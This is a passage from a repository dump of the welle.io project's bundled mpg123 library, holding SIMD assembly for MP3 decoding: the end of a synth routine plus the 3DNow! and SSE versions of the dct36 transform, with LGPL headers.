add $16, SAMPLES
dec %ecx
jnz 1b
movl $4, %ecx
ALIGN16
1:
movups (WINDOW), %xmm8
movups 16(WINDOW), %xmm9
movups (WINDOW,%rax), %xmm10
movups 16(WINDOW,%rax), %xmm11
vpmaddwd (B0L), %xmm8, %xmm0
vpmaddwd 16(B0L), %xmm9, %xmm1
vpmaddwd (B0R), %xmm8, %xmm2
vpmaddwd 16(B0R), %xmm9, %xmm3
vpmaddwd -32(B0L), %xmm10, %xmm4
vpmaddwd -16(B0L), %xmm11, %xmm5
vpmaddwd -32(B0R), %xmm10, %xmm6
vpmaddwd -16(B0R), %xmm11, %xmm7
vpaddd %xmm1, %xmm0, %xmm8
vpaddd %xmm3, %xmm2, %xmm0
vpaddd %xmm5, %xmm4, %xmm9
vpaddd %xmm7, %xmm6, %xmm1
lea (WINDOW,%rax,2), WINDOW
sub %rax, B0L
sub %rax, B0R
movups (WINDOW), %xmm10
movups 16(WINDOW), %xmm11
movups (WINDOW,%rax), %xmm12
movups 16(WINDOW,%rax), %xmm13
vpmaddwd (B0L), %xmm10, %xmm2
vpmaddwd 16(B0L), %xmm11, %xmm3
vpmaddwd (B0R), %xmm10, %xmm4
vpmaddwd 16(B0R), %xmm11, %xmm5
vpmaddwd -32(B0L), %xmm12, %xmm6
vpmaddwd -16(B0L), %xmm13, %xmm10
vpmaddwd -32(B0R), %xmm12, %xmm7
vpmaddwd -16(B0R), %xmm13, %xmm11
vpaddd %xmm3, %xmm2, %xmm2
vpaddd %xmm5, %xmm4, %xmm3
vpaddd %xmm6, %xmm10, %xmm4
vpaddd %xmm7, %xmm11, %xmm5
lea (WINDOW,%rax,2), WINDOW
sub %rax, B0L
sub %rax, B0R
vpunpckldq %xmm0, %xmm8, %xmm6
vpunpckhdq %xmm0, %xmm8, %xmm0
vpunpckldq %xmm1, %xmm9, %xmm7
vpunpckhdq %xmm1, %xmm9, %xmm1
vpaddd %xmm6, %xmm0, %xmm0
vpaddd %xmm7, %xmm1, %xmm1
vpunpckldq %xmm3, %xmm2, %xmm6
vpunpckhdq %xmm3, %xmm2, %xmm2
vpunpckldq %xmm5, %xmm4, %xmm7
vpunpckhdq %xmm5, %xmm4, %xmm3
vpaddd %xmm6, %xmm2, %xmm2
vpaddd %xmm7, %xmm3, %xmm3
vpunpcklqdq %xmm1, %xmm0, %xmm4
vpunpckhqdq %xmm1, %xmm0, %xmm0
vpunpcklqdq %xmm3, %xmm2, %xmm5
vpunpckhqdq %xmm3, %xmm2, %xmm1
vpaddd %xmm0, %xmm4, %xmm0
vpaddd %xmm1, %xmm5, %xmm1
vpsrad $13, %xmm0, %xmm0
vpsrad $13, %xmm1, %xmm1
vpackssdw %xmm1, %xmm0, %xmm2
vpcmpeqd %xmm3, %xmm3, %xmm3
vpslld $16, %xmm0, %xmm0
vpslld $16, %xmm1, %xmm1
vpsrld $16, %xmm0, %xmm0
vpsrld $16, %xmm1, %xmm1
vpackusdw %xmm1, %xmm0, %xmm0
vpcmpeqw %xmm2, %xmm0, %xmm0
vpxor %xmm3, %xmm0, %xmm0
vpaddw %xmm0, %xmm14, %xmm14
movups %xmm2, (SAMPLES)
add $16, SAMPLES
dec %ecx
jnz 1b
pxor %xmm1, %xmm1
psubw %xmm14, %xmm1
pshufd $0x4e, %xmm1, %xmm0
paddw %xmm1, %xmm0
pshuflw $0x4e, %xmm0, %xmm1
paddw %xmm1, %xmm0
pshuflw $0x11, %xmm0, %xmm1
paddw %xmm1, %xmm0
movd %xmm0, %eax
and $0x7f, %eax
#ifdef IS_MSABI
movaps (%rsp), %xmm6
movaps 16(%rsp), %xmm7
movaps 32(%rsp), %xmm8
movaps 48(%rsp), %xmm9
movaps 64(%rsp), %xmm10
movaps 80(%rsp), %xmm11
movaps 96(%rsp), %xmm12
movaps 112(%rsp), %xmm13
movaps 128(%rsp), %xmm14
mov %rbp, %rsp
pop %rbp
#endif
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 11,668 | src/libs/mpg123/dct36_3dnowext.S | /*
dct36_3dnowext: extended 3DNow optimized DCT36
copyright ?-2007 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
Transformed back into standalone asm, with help of
gcc -S -DHAVE_CONFIG_H -I. -march=k6-3 -O3 -Wall -pedantic -fno-strict-aliasing -DREAL_IS_FLOAT -c -o dct36_3dnowext.{S,c}
MPlayer comment follows.
*/
/*
* dct36_3dnow.c - 3DNow! optimized dct36()
*
* This code based 'dct36_3dnow.s' by Syuuhei Kashiyama
* <squash@mb.kcom.ne.jp>, only two types of changes have been made:
*
* - removed PREFETCH instruction for speedup
* - changed function name for support 3DNow! automatic detection
*
* You can find Kashiyama's original 3dnow! support patch
* (for mpg123-0.59o) at
* http://user.ecc.u-tokyo.ac.jp/~g810370/linux-simd/ (Japanese).
*
* by KIMURA Takuhiro <kim@hannah.ipc.miyakyo-u.ac.jp> - until 31.Mar.1999
* <kim@comtec.co.jp> - after 1.Apr.1999
*
* Modified for use with MPlayer, for details see the changelog at
* http://svn.mplayerhq.hu/mplayer/trunk/
* $Id: dct36_3dnow.c 18786 2006-06-22 13:34:00Z diego $
*
* Original disclaimer:
* The author of this program disclaim whole expressed or implied
* warranties with regard to this program, and in no event shall the
* author of this program liable to whatever resulted from the use of
* this program. Use it at your own risk.
*
* 2003/06/21: Moved to GCC inline assembly - Alex Beregszaszi
*/
#include "mangle.h"
.text
ALIGN32
.globl ASM_NAME(dct36_3dnowext)
/* .type ASM_NAME(dct36_3dnowext), @function */
ASM_NAME(dct36_3dnowext):
pushl %ebp
movl %esp, %ebp
#if defined(PIC) && defined(__APPLE__)
sub $4, %esp
#endif
pushl %esi
pushl %ebx
#undef _EBX_
#define _EBX_ %edi
PREPARE_GOT
GET_GOT
#if defined(PIC) && defined(__APPLE__)
#define _COS9_ 0(%edi)
#define _tfcos36_ 0(%eax)
mov GLOBAL_VAR_PTR(tfcos36), %eax
mov GLOBAL_VAR_PTR(COS9), %edi
mov %eax, -4(%ebp)
#else
#define _COS9_ GLOBAL_VAR(COS9)
#define _tfcos36_ GLOBAL_VAR(tfcos36)
#endif
movl 8(%ebp), %eax
movl 12(%ebp), %esi
movl 16(%ebp), %ecx
movl 20(%ebp), %edx
movl 24(%ebp), %ebx
/* APP */
movq (%eax),%mm0
movq 4(%eax),%mm1
pfadd %mm1,%mm0
movq %mm0,4(%eax)
psrlq $32,%mm1
movq 12(%eax),%mm2
punpckldq %mm2,%mm1
pfadd %mm2,%mm1
movq %mm1,12(%eax)
psrlq $32,%mm2
movq 20(%eax),%mm3
punpckldq %mm3,%mm2
pfadd %mm3,%mm2
movq %mm2,20(%eax)
psrlq $32,%mm3
movq 28(%eax),%mm4
punpckldq %mm4,%mm3
pfadd %mm4,%mm3
movq %mm3,28(%eax)
psrlq $32,%mm4
movq 36(%eax),%mm5
punpckldq %mm5,%mm4
pfadd %mm5,%mm4
movq %mm4,36(%eax)
psrlq $32,%mm5
movq 44(%eax),%mm6
punpckldq %mm6,%mm5
pfadd %mm6,%mm5
movq %mm5,44(%eax)
psrlq $32,%mm6
movq 52(%eax),%mm7
punpckldq %mm7,%mm6
pfadd %mm7,%mm6
movq %mm6,52(%eax)
psrlq $32,%mm7
movq 60(%eax),%mm0
punpckldq %mm0,%mm7
pfadd %mm0,%mm7
movq %mm7,60(%eax)
psrlq $32,%mm0
movd 68(%eax),%mm1
pfadd %mm1,%mm0
movd %mm0,68(%eax)
movd 4(%eax),%mm0
movd 12(%eax),%mm1
punpckldq %mm1,%mm0
punpckldq 20(%eax),%mm1
pfadd %mm1,%mm0
movd %mm0,12(%eax)
psrlq $32,%mm0
movd %mm0,20(%eax)
psrlq $32,%mm1
movd 28(%eax),%mm2
punpckldq %mm2,%mm1
punpckldq 36(%eax),%mm2
pfadd %mm2,%mm1
movd %mm1,28(%eax)
psrlq $32,%mm1
movd %mm1,36(%eax)
psrlq $32,%mm2
movd 44(%eax),%mm3
punpckldq %mm3,%mm2
punpckldq 52(%eax),%mm3
pfadd %mm3,%mm2
movd %mm2,44(%eax)
psrlq $32,%mm2
movd %mm2,52(%eax)
psrlq $32,%mm3
movd 60(%eax),%mm4
punpckldq %mm4,%mm3
punpckldq 68(%eax),%mm4
pfadd %mm4,%mm3
movd %mm3,60(%eax)
psrlq $32,%mm3
movd %mm3,68(%eax)
movq 24(%eax),%mm0
movq 48(%eax),%mm1
movd 12+_COS9_,%mm2
punpckldq %mm2,%mm2
movd 24+_COS9_,%mm3
punpckldq %mm3,%mm3
pfmul %mm2,%mm0
pfmul %mm3,%mm1
pushl %eax
movl $1,%eax
movd %eax,%mm7
pi2fd %mm7,%mm7
popl %eax
movq 8(%eax),%mm2
movd 4+_COS9_,%mm3
punpckldq %mm3,%mm3
pfmul %mm3,%mm2
pfadd %mm0,%mm2
movq 40(%eax),%mm3
movd 20+_COS9_,%mm4
punpckldq %mm4,%mm4
pfmul %mm4,%mm3
pfadd %mm3,%mm2
movq 56(%eax),%mm3
movd 28+_COS9_,%mm4
punpckldq %mm4,%mm4
pfmul %mm4,%mm3
pfadd %mm3,%mm2
movq (%eax),%mm3
movq 16(%eax),%mm4
movd 8+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfadd %mm4,%mm3
movq 32(%eax),%mm4
movd 16+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfadd %mm4,%mm3
pfadd %mm1,%mm3
movq 64(%eax),%mm4
movd 32+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfadd %mm4,%mm3
movq %mm2,%mm4
pfadd %mm3,%mm4
movq %mm7,%mm5
#if defined(PIC) && defined(__APPLE__)
mov -4(%ebp),%eax
#endif
punpckldq 0+_tfcos36_,%mm5
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 108(%edx),%mm6
punpckldq 104(%edx),%mm6
pfmul %mm6,%mm5
pswapd %mm5,%mm5
movq %mm5,32(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 32(%edx),%mm6
punpckldq 36(%edx),%mm6
pfmul %mm6,%mm5
movd 32(%esi),%mm6
punpckldq 36(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,1024(%ebx)
psrlq $32,%mm5
movd %mm5,1152(%ebx)
movq %mm3,%mm4
pfsub %mm2,%mm4
movq %mm7,%mm5
punpckldq 32+_tfcos36_,%mm5
#if defined(PIC) && defined(__APPLE__)
mov 8(%ebp),%eax
#endif
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 140(%edx),%mm6
punpckldq 72(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,68(%ecx)
psrlq $32,%mm5
movd %mm5,0(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 0(%edx),%mm6
punpckldq 68(%edx),%mm6
pfmul %mm6,%mm5
movd 0(%esi),%mm6
punpckldq 68(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,0(%ebx)
psrlq $32,%mm5
movd %mm5,2176(%ebx)
movq 8(%eax),%mm2
movq 40(%eax),%mm3
pfsub %mm3,%mm2
movq 56(%eax),%mm3
pfsub %mm3,%mm2
movd 12+_COS9_,%mm3
punpckldq %mm3,%mm3
pfmul %mm3,%mm2
movq 16(%eax),%mm3
movq 32(%eax),%mm4
pfsub %mm4,%mm3
movq 64(%eax),%mm4
pfsub %mm4,%mm3
movd 24+_COS9_,%mm4
punpckldq %mm4,%mm4
pfmul %mm4,%mm3
movq 48(%eax),%mm4
pfsub %mm4,%mm3
movq (%eax),%mm4
pfadd %mm4,%mm3
movq %mm2,%mm4
pfadd %mm3,%mm4
movq %mm7,%mm5
#if defined(PIC) && defined(__APPLE__)
mov -4(%ebp),%eax
#endif
punpckldq 4+_tfcos36_,%mm5
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 112(%edx),%mm6
punpckldq 100(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,40(%ecx)
psrlq $32,%mm5
movd %mm5,28(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 28(%edx),%mm6
punpckldq 40(%edx),%mm6
pfmul %mm6,%mm5
movd 28(%esi),%mm6
punpckldq 40(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,896(%ebx)
psrlq $32,%mm5
movd %mm5,1280(%ebx)
movq %mm3,%mm4
pfsub %mm2,%mm4
movq %mm7,%mm5
punpckldq 28+_tfcos36_,%mm5
#if defined(PIC) && defined(__APPLE__)
mov 8(%ebp),%eax
#endif
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 136(%edx),%mm6
punpckldq 76(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,64(%ecx)
psrlq $32,%mm5
movd %mm5,4(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 4(%edx),%mm6
punpckldq 64(%edx),%mm6
pfmul %mm6,%mm5
movd 4(%esi),%mm6
punpckldq 64(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,128(%ebx)
psrlq $32,%mm5
movd %mm5,2048(%ebx)
movq 8(%eax),%mm2
movd 20+_COS9_,%mm3
punpckldq %mm3,%mm3
pfmul %mm3,%mm2
pfsub %mm0,%mm2
movq 40(%eax),%mm3
movd 28+_COS9_,%mm4
punpckldq %mm4,%mm4
pfmul %mm4,%mm3
pfsub %mm3,%mm2
movq 56(%eax),%mm3
movd 4+_COS9_,%mm4
punpckldq %mm4,%mm4
pfmul %mm4,%mm3
pfadd %mm3,%mm2
movq (%eax),%mm3
movq 16(%eax),%mm4
movd 32+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfsub %mm4,%mm3
movq 32(%eax),%mm4
movd 8+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfsub %mm4,%mm3
pfadd %mm1,%mm3
movq 64(%eax),%mm4
movd 16+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfadd %mm4,%mm3
movq %mm2,%mm4
pfadd %mm3,%mm4
movq %mm7,%mm5
#if defined(PIC) && defined(__APPLE__)
mov -4(%ebp),%eax
#endif
punpckldq 8+_tfcos36_,%mm5
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 116(%edx),%mm6
punpckldq 96(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,44(%ecx)
psrlq $32,%mm5
movd %mm5,24(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 24(%edx),%mm6
punpckldq 44(%edx),%mm6
pfmul %mm6,%mm5
movd 24(%esi),%mm6
punpckldq 44(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,768(%ebx)
psrlq $32,%mm5
movd %mm5,1408(%ebx)
movq %mm3,%mm4
pfsub %mm2,%mm4
movq %mm7,%mm5
punpckldq 24+_tfcos36_,%mm5
#if defined(PIC) && defined(__APPLE__)
mov 8(%ebp),%eax
#endif
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 132(%edx),%mm6
punpckldq 80(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,60(%ecx)
psrlq $32,%mm5
movd %mm5,8(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 8(%edx),%mm6
punpckldq 60(%edx),%mm6
pfmul %mm6,%mm5
movd 8(%esi),%mm6
punpckldq 60(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,256(%ebx)
psrlq $32,%mm5
movd %mm5,1920(%ebx)
movq 8(%eax),%mm2
movd 28+_COS9_,%mm3
punpckldq %mm3,%mm3
pfmul %mm3,%mm2
pfsub %mm0,%mm2
movq 40(%eax),%mm3
movd 4+_COS9_,%mm4
punpckldq %mm4,%mm4
pfmul %mm4,%mm3
pfadd %mm3,%mm2
movq 56(%eax),%mm3
movd 20+_COS9_,%mm4
punpckldq %mm4,%mm4
pfmul %mm4,%mm3
pfsub %mm3,%mm2
movq (%eax),%mm3
movq 16(%eax),%mm4
movd 16+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfsub %mm4,%mm3
movq 32(%eax),%mm4
movd 32+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfadd %mm4,%mm3
pfadd %mm1,%mm3
movq 64(%eax),%mm4
movd 8+_COS9_,%mm5
punpckldq %mm5,%mm5
pfmul %mm5,%mm4
pfsub %mm4,%mm3
movq %mm2,%mm4
pfadd %mm3,%mm4
movq %mm7,%mm5
#if defined(PIC) && defined(__APPLE__)
mov -4(%ebp),%eax
#endif
punpckldq 12+_tfcos36_,%mm5
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 120(%edx),%mm6
punpckldq 92(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,48(%ecx)
psrlq $32,%mm5
movd %mm5,20(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 20(%edx),%mm6
punpckldq 48(%edx),%mm6
pfmul %mm6,%mm5
movd 20(%esi),%mm6
punpckldq 48(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,640(%ebx)
psrlq $32,%mm5
movd %mm5,1536(%ebx)
movq %mm3,%mm4
pfsub %mm2,%mm4
movq %mm7,%mm5
punpckldq 20+_tfcos36_,%mm5
#if defined(PIC) && defined(__APPLE__)
mov 8(%ebp),%eax
#endif
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 128(%edx),%mm6
punpckldq 84(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,56(%ecx)
psrlq $32,%mm5
movd %mm5,12(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 12(%edx),%mm6
punpckldq 56(%edx),%mm6
pfmul %mm6,%mm5
movd 12(%esi),%mm6
punpckldq 56(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,384(%ebx)
psrlq $32,%mm5
movd %mm5,1792(%ebx)
movq (%eax),%mm4
movq 16(%eax),%mm3
pfsub %mm3,%mm4
movq 32(%eax),%mm3
pfadd %mm3,%mm4
movq 48(%eax),%mm3
pfsub %mm3,%mm4
movq 64(%eax),%mm3
pfadd %mm3,%mm4
movq %mm7,%mm5
#if defined(PIC) && defined(__APPLE__)
mov -4(%ebp),%eax
#endif
punpckldq 16+_tfcos36_,%mm5
pfmul %mm5,%mm4
movq %mm4,%mm5
pfacc %mm5,%mm5
movd 124(%edx),%mm6
punpckldq 88(%edx),%mm6
pfmul %mm6,%mm5
movd %mm5,52(%ecx)
psrlq $32,%mm5
movd %mm5,16(%ecx)
movq %mm4,%mm6
punpckldq %mm6,%mm5
pfsub %mm6,%mm5
punpckhdq %mm5,%mm5
movd 16(%edx),%mm6
punpckldq 52(%edx),%mm6
pfmul %mm6,%mm5
movd 16(%esi),%mm6
punpckldq 52(%esi),%mm6
pfadd %mm6,%mm5
movd %mm5,512(%ebx)
psrlq $32,%mm5
movd %mm5,1664(%ebx)
femms
/* NO_APP */
RESTORE_GOT
popl %ebx
popl %esi
leave
ret
/* .size ASM_NAME(dct36_3dnowext), .-ASM_NAME(dct36_3dnowext) */
#if defined(PIC) && defined(__APPLE__)
.section __IMPORT,__pointers,non_lazy_symbol_pointers
L_tfcos36:
.indirect_symbol ASM_NAME(tfcos36)
.long 0
L_COS9:
.indirect_symbol ASM_NAME(COS9)
.long 0
#endif
NONEXEC_STACK
|
AlbrechtL/welle.io | 7,514 | src/libs/mpg123/dct36_sse.S | /*
dct36_sse: SSE optimized dct36
copyright 1995-2013 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#define in %edi
#define out1 %edi
#define out2 %edx
#define w %ecx
#define ts %eax
#define tmp %esi
/*
void dct36_sse(real *inbuf,real *o1,real *o2,real *wintab,real *tsbuf);
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN16
dct36_sse_COS9:
.long 0x3f5db3d7
.long 0x3f5db3d7
.long 0x3f000000
.long 0x3f000000
.long 0x3f7c1c5c
.long 0x3f7c1c5c
.long 0x3f708fb2
.long 0x3f708fb2
.long 0x3f248dbb
.long 0x3f248dbb
.long 0x3e31d0d4
.long 0x3e31d0d4
.long 0x3eaf1d44
.long 0x3eaf1d44
.long 0x3f441b7d
.long 0x3f441b7d
ALIGN16
dct36_sse_tfcos36:
.long 0x3f007d2b
.long 0x3f0483ee
.long 0x3f0d3b7d
.long 0x3f1c4257
.long 0x40b79454
.long 0x3ff746ea
.long 0x3f976fd9
.long 0x3f5f2944
.long 0x3f3504f3
ALIGN16
dct36_sse_mask:
.long 0,0xffffffff,0,0xffffffff
ALIGN16
dct36_sse_sign:
.long 0x80000000,0x80000000,0x80000000,0x80000000
.text
ALIGN16
.globl ASM_NAME(dct36_sse)
ASM_NAME(dct36_sse):
push %ebp
mov %esp, %ebp
and $-16, %esp
sub $80, %esp
push %ebx
push %esi
push %edi
lea 12(%esp), tmp
movl 8(%ebp), in
GET_GOT
lea LOCAL_VAR(dct36_sse_COS9), %eax
lea LOCAL_VAR(dct36_sse_tfcos36), %edx
xorps %xmm0, %xmm0
xorps %xmm5, %xmm5
movlps 64(in), %xmm5
movups 48(in), %xmm4
movups 32(in), %xmm3
movups 16(in), %xmm2
movups (in), %xmm1
movaps %xmm5, %xmm6
shufps $0xe1, %xmm6, %xmm6
movaps %xmm4, %xmm7
shufps $0x93, %xmm7, %xmm7
movss %xmm7, %xmm6
addps %xmm6, %xmm5
movaps %xmm3, %xmm6
shufps $0x93, %xmm6, %xmm6
movss %xmm6, %xmm7
addps %xmm7, %xmm4
movaps %xmm2, %xmm7
shufps $0x93, %xmm7, %xmm7
movss %xmm7, %xmm6
addps %xmm6, %xmm3
movaps %xmm1, %xmm6
shufps $0x93, %xmm6, %xmm6
movss %xmm6, %xmm7
addps %xmm7, %xmm2
movss %xmm0, %xmm6
addps %xmm6, %xmm1
movaps LOCAL_VAR(dct36_sse_mask), %xmm0
movaps %xmm4, %xmm6
shufps $0x4e, %xmm5, %xmm4
movaps %xmm3, %xmm7
shufps $0x4e, %xmm6, %xmm3
andps %xmm0, %xmm6
addps %xmm6, %xmm4
movaps %xmm2, %xmm6
shufps $0x4e, %xmm7, %xmm2
andps %xmm0, %xmm7
addps %xmm7, %xmm3
movaps %xmm1, %xmm7
shufps $0x4e, %xmm6, %xmm1
andps %xmm0, %xmm6
addps %xmm6, %xmm2
movaps %xmm7, %xmm6
andps %xmm0, %xmm7
xorps %xmm0, %xmm0
addps %xmm7, %xmm1
movlhps %xmm6, %xmm0
/*
xmm0 in[-,-,0,1]
xmm1 in[2,3,4,5]
xmm2 in[6,7,8,9]
xmm3 in[10,11,12,13]
xmm4 in[14,15,16,17]
*/
movaps %xmm2, %xmm5
shufps $0xe4, %xmm3, %xmm5
shufps $0xe4, %xmm4, %xmm3
shufps $0xe4, %xmm2, %xmm4
movaps %xmm5, %xmm2
/*
xmm2 in[6,7,12,13]
xmm3 in[10,11,16,17]
xmm4 in[14,15,8,9]
*/
mulps (%eax), %xmm5
addps %xmm0, %xmm5
movaps %xmm0, (tmp)
movaps %xmm2, 16(tmp)
/*
0(tmp) in[-,-,0,1]
xmm5 [ta33,tb33,ta66,tb66]
*/
movaps %xmm1, %xmm6
subps %xmm3, %xmm6
subps %xmm4, %xmm6
xorps %xmm7, %xmm7
shufps $0xe0, %xmm2, %xmm7
mulps (%eax), %xmm6
subps %xmm7, %xmm0
addps %xmm0, %xmm6
movaps %xmm6, 48(tmp)
movaps 16(%eax), %xmm2
movaps %xmm1, %xmm0
movaps %xmm3, %xmm6
movaps %xmm4, %xmm7
mulps %xmm2, %xmm0
mulps 32(%eax), %xmm6
mulps 48(%eax), %xmm7
addps %xmm5, %xmm0
addps %xmm7, %xmm6
addps %xmm6, %xmm0
movaps %xmm0, 32(tmp)
movaps %xmm1, %xmm0
movaps %xmm3, %xmm6
movaps %xmm4, %xmm7
mulps 32(%eax), %xmm0
mulps 48(%eax), %xmm6
mulps %xmm2, %xmm7
subps %xmm5, %xmm0
subps %xmm6, %xmm7
addps %xmm7, %xmm0
movaps %xmm0, 64(tmp)
movaps %xmm1, %xmm6
movaps %xmm4, %xmm7
mulps 48(%eax), %xmm6
mulps %xmm3, %xmm2
mulps 32(%eax), %xmm7
subps %xmm5, %xmm6
subps %xmm7, %xmm2
addps %xmm2, %xmm6
movaps (tmp), %xmm0
movss 32(%edx), %xmm5
subps %xmm1, %xmm0
subps 16(tmp), %xmm4
addps %xmm3, %xmm0
addps %xmm4, %xmm0
shufps $0xaf, %xmm0, %xmm0
mulss %xmm5, %xmm0
movaps %xmm0, (tmp)
movaps 32(tmp), %xmm0
movaps 48(tmp), %xmm1
movaps 64(tmp), %xmm2
/*
xmm0 [1a-0,1b-0, 2a-0, 2b-0]
xmm1 [1a-1,1b-1, 2a-1, 2b-1]
xmm2 [1a-2,1b-2,-2a-2,-2b-2]
xmm6 [1a-3,1b-3,-2a-3,-2b-3]
*/
movaps %xmm0, %xmm3
unpcklps %xmm1, %xmm0
unpckhps %xmm1, %xmm3
movaps %xmm2, %xmm5
unpcklps %xmm6, %xmm2
unpckhps %xmm6, %xmm5
xorps LOCAL_VAR(dct36_sse_sign), %xmm5
/*
xmm0 [1a-0,1a-1,1b-0,1b-1]
xmm3 [2a-0,2a-1,2b-0,2b-1]
xmm2 [1a-2,1a-3,1b-2,1b-3]
xmm5 [2a-2,2a-3,2b-2,2b-3]
*/
movaps %xmm0, %xmm1
movlhps %xmm2, %xmm0
movhlps %xmm1, %xmm2
movaps %xmm3, %xmm4
movlhps %xmm5, %xmm3
movhlps %xmm4, %xmm5
/*
xmm0 tmp1a
xmm3 tmp2a
xmm2 tmp1b
xmm5 tmp2b
*/
movaps (%edx), %xmm6
movaps 16(%edx), %xmm7
movaps %xmm5, %xmm1
addps %xmm2, %xmm5
subps %xmm2, %xmm1
movaps %xmm3, %xmm2
addps %xmm0, %xmm3
subps %xmm0, %xmm2
mulps %xmm6, %xmm5
mulps %xmm1, %xmm7
movaps %xmm2, 16(tmp)
/*
%xmm3 tmp[0,1,2,3]
%xmm5 tmp[17,16,15,14]
16(tmp) tmp[8,7,6,5]
%xmm7 tmp[9,10,11,12]
0(tmp) tmp[13,-,4,-]
*/
movl 12(%ebp), out1
movl 16(%ebp), out2
movl 20(%ebp), w
movl 24(%ebp), ts
movaps %xmm3, %xmm0
movaps %xmm5, %xmm1
movups 108(w), %xmm2
movups 92(w), %xmm3
shufps $0x1b, %xmm3, %xmm3
movups 36(w), %xmm4
movups 20(w), %xmm5
shufps $0x1b, %xmm5, %xmm5
movaps %xmm0, %xmm6
addps %xmm1, %xmm0
subps %xmm1, %xmm6
mulps %xmm0, %xmm2
mulps %xmm3, %xmm0
mulps %xmm6, %xmm4
mulps %xmm5, %xmm6
movups 36(out1), %xmm1
movups 20(out1), %xmm3
shufps $0x1b, %xmm6, %xmm6
addps %xmm4, %xmm1
addps %xmm6, %xmm3
shufps $0x1b, %xmm0, %xmm0
movups %xmm2, 36(out2)
movups %xmm0, 20(out2)
movss %xmm1, 32*36(ts)
movss %xmm3, 32*20(ts)
movhlps %xmm1, %xmm2
movhlps %xmm3, %xmm4
movss %xmm2, 32*44(ts)
movss %xmm4, 32*28(ts)
shufps $0xb1, %xmm1, %xmm1
shufps $0xb1, %xmm3, %xmm3
movss %xmm1, 32*40(ts)
movss %xmm3, 32*24(ts)
movhlps %xmm1, %xmm2
movhlps %xmm3, %xmm4
movss %xmm2, 32*48(ts)
movss %xmm4, 32*32(ts)
movss 8(tmp), %xmm0
movss (tmp), %xmm1
movss 124(w), %xmm2
movss 88(w), %xmm3
movss 52(w), %xmm4
movss 16(w), %xmm5
movss %xmm0, %xmm6
addss %xmm1, %xmm0
subss %xmm1, %xmm6
mulss %xmm0, %xmm2
mulss %xmm3, %xmm0
mulss %xmm6, %xmm4
mulss %xmm5, %xmm6
addss 52(out1), %xmm4
addss 16(out1), %xmm6
movss %xmm2, 52(out2)
movss %xmm0, 16(out2)
movss %xmm4, 32*52(ts)
movss %xmm6, 32*16(ts)
movaps 16(tmp), %xmm0
movaps %xmm7, %xmm1
MOVUAPS 128(w), %xmm2
movups 72(w), %xmm3
shufps $0x1b, %xmm2, %xmm2
movlps 56(w), %xmm4
movhps 64(w), %xmm4
MOVUAPS (w), %xmm5
shufps $0x1b, %xmm4, %xmm4
movaps %xmm0, %xmm6
addps %xmm1, %xmm0
subps %xmm1, %xmm6
mulps %xmm0, %xmm2
mulps %xmm3, %xmm0
mulps %xmm6, %xmm4
mulps %xmm5, %xmm6
movlps 56(out1), %xmm1
movhps 64(out1), %xmm1
movups (out1), %xmm3
shufps $0x1b, %xmm4, %xmm4
addps %xmm6, %xmm3
addps %xmm4, %xmm1
shufps $0x1b, %xmm2, %xmm2
movups %xmm0, (out2)
movlps %xmm2, 56(out2)
movhps %xmm2, 64(out2)
movss %xmm1, 32*56(ts)
movss %xmm3, (ts)
movhlps %xmm1, %xmm2
movhlps %xmm3, %xmm4
